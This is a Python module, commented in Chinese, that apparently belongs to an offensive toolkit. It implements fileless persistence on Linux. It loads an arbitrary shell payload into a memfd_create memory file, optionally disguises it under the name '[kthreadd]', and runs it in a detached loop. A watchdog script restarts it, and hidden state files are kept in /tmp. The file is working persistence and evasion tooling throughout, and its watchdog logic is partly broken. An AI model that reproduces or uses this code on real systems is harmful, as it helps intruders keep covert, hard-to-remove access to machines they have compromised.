#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
内存级无文件权限维持模块
实现基于 memfd_create 的无文件权限维持技术
"""

import os
import sys
import json
import time
import signal
import ctypes
import subprocess
import tempfile
import hashlib
import base64
from typing import Dict, List, Optional, Tuple
from pathlib import Path

# 添加项目根目录到Python路径
project_root = Path(__file__).parent.parent.parent.parent
sys.path.insert(0, str(project_root))

from modules.persistence.base import (
    BasePersistenceModule, PersistenceConfig, PersistenceResult, 
    PersistenceStatus, PersistenceLevel
)


class FilelessMemoryPersistenceModule(BasePersistenceModule):
    """内存级无文件权限维持模块"""
    
    def __init__(self):
        super().__init__("fileless_memory", ["linux"])
        self.module_version = "1.0.0"
        self.supported_platforms = ["linux"]
        
        # 内存文件描述符缓存
        self.memory_fds = {}
        
        # 进程监控配置
        self.monitor_config = {
            'check_interval': 30,  # 检查间隔（秒）
            'max_restarts': 5,     # 最大重启次数
            'restart_delay': 10    # 重启延迟（秒）
        }
    
    def deploy(self, config: PersistenceConfig) -> PersistenceResult:
        """部署内存级无文件权限维持"""
        try:
            self.logger.info(f"开始部署内存级无文件权限维持")
            
            # 检查内核支持
            if not self._check_memfd_support():
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="内核不支持 memfd_create 系统调用"
                )
            
            # 生成实例ID
            instance_id = f"fileless_{int(time.time())}"
            
            # 准备载荷
            payload_data = self._prepare_payload(config)
            if not payload_data:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="载荷准备失败"
                )
            
            # 创建内存文件
            memfd = self._create_memory_file(instance_id, payload_data, config.stealth_level)
            if memfd is None:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="创建内存文件失败"
                )
            
            # 启动内存进程
            process_info = self._start_memory_process(memfd, config)
            if not process_info:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="启动内存进程失败"
                )
            
            # 设置监控
            monitor_info = self._setup_monitoring(instance_id, memfd, config)
            
            # 保存实例信息
            instance_info = {
                'instance_id': instance_id,
                'memfd': memfd,
                'process_info': process_info,
                'monitor_info': monitor_info,
                'payload_hash': hashlib.sha256(payload_data).hexdigest(),
                'stealth_level': config.stealth_level,
                'deployed_at': time.time(),
                'status': PersistenceStatus.DEPLOYED.value
            }
            
            self.deployed_instances[instance_id] = instance_info
            self._save_instance_config(instance_id, instance_info)
            
            self.logger.info(f"内存级无文件权限维持部署成功: {instance_id}")
            
            return PersistenceResult(
                success=True,
                status=PersistenceStatus.DEPLOYED,
                message=f"内存级无文件权限维持部署成功",
                details={
                    'instance_id': instance_id,
                    'process_pid': process_info.get('pid'),
                    'memory_fd': memfd,
                    'payload_size': len(payload_data)
                }
            )
            
        except Exception as e:
            self.logger.error(f"部署内存级无文件权限维持失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message=f"部署失败: {str(e)}"
            )
    
    def check_alive(self, instance_id: str) -> PersistenceResult:
        """检查内存级权限维持状态"""
        try:
            if instance_id not in self.deployed_instances:
                # 尝试从配置文件加载
                instance_info = self._load_instance_config(instance_id)
                if not instance_info:
                    return PersistenceResult(
                        success=False,
                        status=PersistenceStatus.UNKNOWN,
                        message=f"实例 {instance_id} 不存在"
                    )
                self.deployed_instances[instance_id] = instance_info
            
            instance_info = self.deployed_instances[instance_id]
            process_info = instance_info.get('process_info', {})
            pid = process_info.get('pid')
            
            if not pid:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.INACTIVE,
                    message="进程信息缺失"
                )
            
            # 检查进程是否存在
            if not self._check_process_exists(pid):
                instance_info['status'] = PersistenceStatus.INACTIVE.value
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.INACTIVE,
                    message=f"内存进程不存在 (PID: {pid})"
                )
            
            # 检查内存文件完整性
            memfd = instance_info.get('memfd')
            if memfd and not self._check_memory_integrity(memfd, instance_info.get('payload_hash')):
                instance_info['status'] = PersistenceStatus.INACTIVE.value
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.INACTIVE,
                    message="内存文件完整性检查失败"
                )
            
            instance_info['status'] = PersistenceStatus.ACTIVE.value
            instance_info['last_check'] = time.time()
            
            return PersistenceResult(
                success=True,
                status=PersistenceStatus.ACTIVE,
                message="内存级权限维持正常运行",
                details={
                    'pid': pid,
                    'memory_fd': memfd,
                    'uptime': time.time() - instance_info.get('deployed_at', 0)
                }
            )
            
        except Exception as e:
            self.logger.error(f"检查内存级权限维持状态失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.UNKNOWN,
                message=f"状态检查失败: {str(e)}"
            )
    
    def repair(self, instance_id: str) -> PersistenceResult:
        """修复内存级权限维持"""
        try:
            if instance_id not in self.deployed_instances:
                instance_info = self._load_instance_config(instance_id)
                if not instance_info:
                    return PersistenceResult(
                        success=False,
                        status=PersistenceStatus.UNKNOWN,
                        message=f"实例 {instance_id} 不存在"
                    )
                self.deployed_instances[instance_id] = instance_info
            
            instance_info = self.deployed_instances[instance_id]
            
            # 检查进程状态
            process_info = instance_info.get('process_info', {})
            pid = process_info.get('pid')
            
            if pid and self._check_process_exists(pid):
                # 进程存在，检查内存完整性
                memfd = instance_info.get('memfd')
                if memfd and self._check_memory_integrity(memfd, instance_info.get('payload_hash')):
                    return PersistenceResult(
                        success=True,
                        status=PersistenceStatus.ACTIVE,
                        message="内存级权限维持无需修复"
                    )
            
            # 需要重新启动
            self.logger.info(f"重新启动内存级权限维持: {instance_id}")
            
            # 重新创建配置
            config = PersistenceConfig(
                name=instance_id,
                payload="# Restored from memory",
                trigger="manual",
                stealth_level=PersistenceLevel(instance_info.get('stealth_level', 5)),
                persistence_level=PersistenceLevel.HIGH
            )
            
            # 重新部署
            deploy_result = self.deploy(config)
            if deploy_result.success:
                # 更新实例信息
                new_instance_info = self.deployed_instances[deploy_result.details['instance_id']]
                instance_info.update(new_instance_info)
                instance_info['repaired_at'] = time.time()
                
                return PersistenceResult(
                    success=True,
                    status=PersistenceStatus.ACTIVE,
                    message="内存级权限维持修复成功"
                )
            else:
                return deploy_result
            
        except Exception as e:
            self.logger.error(f"修复内存级权限维持失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message=f"修复失败: {str(e)}"
            )
    
    def clean(self, instance_id: str) -> PersistenceResult:
        """清理内存级权限维持"""
        try:
            if instance_id not in self.deployed_instances:
                instance_info = self._load_instance_config(instance_id)
                if not instance_info:
                    return PersistenceResult(
                        success=True,
                        status=PersistenceStatus.REMOVED,
                        message=f"实例 {instance_id} 不存在或已清理"
                    )
                self.deployed_instances[instance_id] = instance_info
            
            instance_info = self.deployed_instances[instance_id]
            
            # 终止进程
            process_info = instance_info.get('process_info', {})
            pid = process_info.get('pid')
            if pid and self._check_process_exists(pid):
                try:
                    os.kill(pid, signal.SIGTERM)
                    time.sleep(2)
                    if self._check_process_exists(pid):
                        os.kill(pid, signal.SIGKILL)
                    self.logger.info(f"终止进程: {pid}")
                except ProcessLookupError:
                    pass
            
            # 关闭内存文件描述符
            memfd = instance_info.get('memfd')
            if memfd and memfd in self.memory_fds:
                try:
                    os.close(memfd)
                    del self.memory_fds[memfd]
                    self.logger.info(f"关闭内存文件描述符: {memfd}")
                except OSError:
                    pass
            
            # 停止监控
            monitor_info = instance_info.get('monitor_info', {})
            monitor_pid = monitor_info.get('pid')
            if monitor_pid and self._check_process_exists(monitor_pid):
                try:
                    os.kill(monitor_pid, signal.SIGTERM)
                except ProcessLookupError:
                    pass
            
            # 清理实例信息
            if instance_id in self.deployed_instances:
                del self.deployed_instances[instance_id]
            
            # 删除配置文件
            config_file = f"/tmp/.{instance_id}_config.json"
            if os.path.exists(config_file):
                os.remove(config_file)
            
            self.logger.info(f"内存级权限维持清理完成: {instance_id}")
            
            return PersistenceResult(
                success=True,
                status=PersistenceStatus.REMOVED,
                message="内存级权限维持清理完成"
            )
            
        except Exception as e:
            self.logger.error(f"清理内存级权限维持失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message=f"清理失败: {str(e)}"
            )
    
    def list_instances(self) -> List[Dict]:
        """列出所有内存级权限维持实例"""
        instances = []
        for instance_id, info in self.deployed_instances.items():
            process_info = info.get('process_info', {})
            instances.append({
                'instance_id': instance_id,
                'status': info.get('status', 'unknown'),
                'pid': process_info.get('pid'),
                'memory_fd': info.get('memfd'),
                'deployed_at': info.get('deployed_at', 0),
                'uptime': time.time() - info.get('deployed_at', 0)
            })
        return instances
    
    def _check_memfd_support(self) -> bool:
        """检查内核是否支持 memfd_create"""
        try:
            # 尝试创建一个测试内存文件
            libc = ctypes.CDLL("libc.so.6")
            memfd_create = libc.memfd_create
            memfd_create.argtypes = [ctypes.c_char_p, ctypes.c_uint]
            memfd_create.restype = ctypes.c_int
            
            test_fd = memfd_create(b"test", 0)
            if test_fd >= 0:
                os.close(test_fd)
                return True
            return False
        except Exception:
            return False
    
    def _prepare_payload(self, config: PersistenceConfig) -> Optional[bytes]:
        """准备载荷数据"""
        try:
            # 创建一个简单的 shell 脚本作为载荷
            payload_script = f'''#!/bin/bash
# 内存级权限维持载荷
# 实例: {config.name}
# 部署时间: {time.ctime()}

while true; do
    # 执行用户载荷
    {config.payload}
    
    # 检查完整性
    if [ ! -f "/proc/self/fd/3" ]; then
        exit 1
    fi
    
    # 等待间隔
    sleep {self.monitor_config['check_interval']}
done
'''
            return payload_script.encode('utf-8')
            
        except Exception as e:
            self.logger.error(f"准备载荷失败: {str(e)}")
            return None
    
    def _create_memory_file(self, instance_id: str, payload_data: bytes, stealth_level: int) -> Optional[int]:
        """创建内存文件"""
        try:
            # 生成内存文件名
            if stealth_level >= 8:
                # 高隐蔽性：伪装成系统文件
                mem_name = f"[kthreadd]"
            elif stealth_level >= 5:
                # 中等隐蔽性：使用通用名称
                mem_name = f"memfd:{instance_id}"
            else:
                # 低隐蔽性：简单名称
                mem_name = f"memory_file"
            
            # 调用 memfd_create
            libc = ctypes.CDLL("libc.so.6")
            memfd_create = libc.memfd_create
            memfd_create.argtypes = [ctypes.c_char_p, ctypes.c_uint]
            memfd_create.restype = ctypes.c_int
            
            # MFD_CLOEXEC = 1
            memfd = memfd_create(mem_name.encode('utf-8'), 1)
            
            if memfd < 0:
                self.logger.error("memfd_create 调用失败")
                return None
            
            # 写入载荷数据
            os.write(memfd, payload_data)
            
            # 设置可执行权限
            os.fchmod(memfd, 0o755)
            
            # 重置文件指针
            os.lseek(memfd, 0, os.SEEK_SET)
            
            # 缓存文件描述符
            self.memory_fds[memfd] = {
                'instance_id': instance_id,
                'created_at': time.time(),
                'size': len(payload_data)
            }
            
            self.logger.info(f"创建内存文件成功: {mem_name} (fd: {memfd})")
            return memfd
            
        except Exception as e:
            self.logger.error(f"创建内存文件失败: {str(e)}")
            return None
    
    def _start_memory_process(self, memfd: int, config: PersistenceConfig) -> Optional[Dict]:
        """启动内存进程"""
        try:
            # 构建执行命令
            fd_path = f"/proc/self/fd/{memfd}"
            
            # 创建进程
            process = subprocess.Popen(
                ['/bin/bash', fd_path],
                stdin=subprocess.DEVNULL,
                stdout=subprocess.DEVNULL,
                stderr=subprocess.DEVNULL,
                preexec_fn=os.setsid  # 创建新的进程组
            )
            
            # 等待一下确保进程启动
            time.sleep(1)
            
            if process.poll() is None:
                # 进程正在运行
                process_info = {
                    'pid': process.pid,
                    'started_at': time.time(),
                    'command': f'/bin/bash /proc/self/fd/{memfd}'
                }
                
                self.logger.info(f"内存进程启动成功: PID {process.pid}")
                return process_info
            else:
                self.logger.error(f"内存进程启动失败，退出码: {process.returncode}")
                return None
                
        except Exception as e:
            self.logger.error(f"启动内存进程失败: {str(e)}")
            return None
    
    def _setup_monitoring(self, instance_id: str, memfd: int, config: PersistenceConfig) -> Dict:
        """设置监控"""
        try:
            # 创建监控脚本
            monitor_script = f'''#!/bin/bash
# 内存级权限维持监控脚本
INSTANCE_ID="{instance_id}"
MEMFD="{memfd}"
CHECK_INTERVAL="{self.monitor_config['check_interval']}"
MAX_RESTARTS="{self.monitor_config['max_restarts']}"

restart_count=0

while true; do
    # 检查主进程是否存在
    if ! kill -0 $MAIN_PID 2>/dev/null; then
        echo "主进程已停止，尝试重启..."
        
        if [ $restart_count -lt $MAX_RESTARTS ]; then
            # 重启进程
            /bin/bash /proc/self/fd/$MEMFD &
            MAIN_PID=$!
            restart_count=$((restart_count + 1))
            echo "重启完成，新PID: $MAIN_PID (重启次数: $restart_count)"
        else
            echo "达到最大重启次数，退出监控"
            break
        fi
    fi
    
    sleep $CHECK_INTERVAL
done
'''
            
            # 创建临时监控脚本文件
            with tempfile.NamedTemporaryFile(mode='w', suffix='.sh', delete=False) as f:
                f.write(monitor_script)
                monitor_script_path = f.name
            
            os.chmod(monitor_script_path, 0o755)
            
            # 启动监控进程
            monitor_process = subprocess.Popen(
                ['/bin/bash', monitor_script_path],
                stdin=subprocess.DEVNULL,
                stdout=subprocess.DEVNULL,
                stderr=subprocess.DEVNULL,
                preexec_fn=os.setsid
            )
            
            monitor_info = {
                'pid': monitor_process.pid,
                'script_path': monitor_script_path,
                'started_at': time.time()
            }
            
            self.logger.info(f"监控进程启动成功: PID {monitor_process.pid}")
            return monitor_info
            
        except Exception as e:
            self.logger.error(f"设置监控失败: {str(e)}")
            return {}
    
    def _check_process_exists(self, pid: int) -> bool:
        """检查进程是否存在"""
        try:
            os.kill(pid, 0)
            return True
        except (OSError, ProcessLookupError):
            return False
    
    def _check_memory_integrity(self, memfd: int, expected_hash: str) -> bool:
        """检查内存文件完整性"""
        try:
            # 读取内存文件内容
            current_pos = os.lseek(memfd, 0, os.SEEK_CUR)
            os.lseek(memfd, 0, os.SEEK_SET)
            
            content = os.read(memfd, 1024 * 1024)  # 读取最多1MB
            current_hash = hashlib.sha256(content).hexdigest()
            
            # 恢复文件指针位置
            os.lseek(memfd, current_pos, os.SEEK_SET)
            
            return current_hash == expected_hash
            
        except Exception:
            return False
    
    def _save_instance_config(self, instance_id: str, config: Dict):
        """保存实例配置"""
        try:
            # 过滤掉不能序列化的对象
            serializable_config = {}
            for key, value in config.items():
                if key not in ['process_info']:  # 跳过进程对象
                    serializable_config[key] = value
            
            config_file = f"/tmp/.{instance_id}_config.json"
            with open(config_file, 'w') as f:
                json.dump(serializable_config, f, indent=2)
        except Exception as e:
            self.logger.error(f"保存实例配置失败: {str(e)}")
    
    def _load_instance_config(self, instance_id: str) -> Optional[Dict]:
        """加载实例配置"""
        try:
            config_file = f"/tmp/.{instance_id}_config.json"
            if os.path.exists(config_file):
                with open(config_file, 'r') as f:
                    return json.load(f)
        except Exception as e:
            self.logger.error(f"加载实例配置失败: {str(e)}")
        return None
    
    def validate_config(self, config: PersistenceConfig) -> PersistenceResult:
        """验证配置"""
        if not self.is_platform_supported():
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message="当前平台不支持内存级无文件权限维持"
            )
        
        if not self._check_memfd_support():
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message="内核不支持 memfd_create 系统调用"
            )
        
        return PersistenceResult(
            success=True,
            status=PersistenceStatus.UNKNOWN,
            message="配置验证通过"
        )


def create_module():
    """创建内存级无文件权限维持模块实例"""
    return FilelessMemoryPersistenceModule()


if __name__ == "__main__":
    module = FilelessMemoryPersistenceModule()
    
    # 测试配置
    config = PersistenceConfig(
        name="test_fileless",
        payload="echo 'Memory persistence test' >> /tmp/memory_test.log",
        trigger="startup",
        stealth_level=PersistenceLevel.HIGH,
        persistence_level=PersistenceLevel.HIGH
    )
    
    print("=== 内存级无文件权限维持模块测试 ===")
    print(f"模块信息: {module.get_module_info()}")
    print(f"平台支持: {module.is_platform_supported()}")
    print(f"memfd支持: {module._check_memfd_support()}")
    
    # 配置验证
    validation_result = module.validate_config(config)
    print(f"配置验证: {validation_result}")
    
    if validation_result.success:
        # 部署测试
        result = module.deploy(config)
        print(f"部署结果: {result}")
        
        if result.success:
            instance_id = result.details['instance_id']
            
            # 等待一下
            time.sleep(2)
            
            # 状态检查
            check_result = module.check_alive(instance_id)
            print(f"状态检查: {check_result}")
            
            # 实例列表
            instances = module.list_instances()
            print(f"实例列表: {instances}")
            
            # 等待一下再清理
            time.sleep(3)
            
            # 清理
            clean_result = module.clean(instance_id)
            print(f"清理结果: {clean_result}")
    else:
        print("跳过部署测试（内核不支持或其他问题）")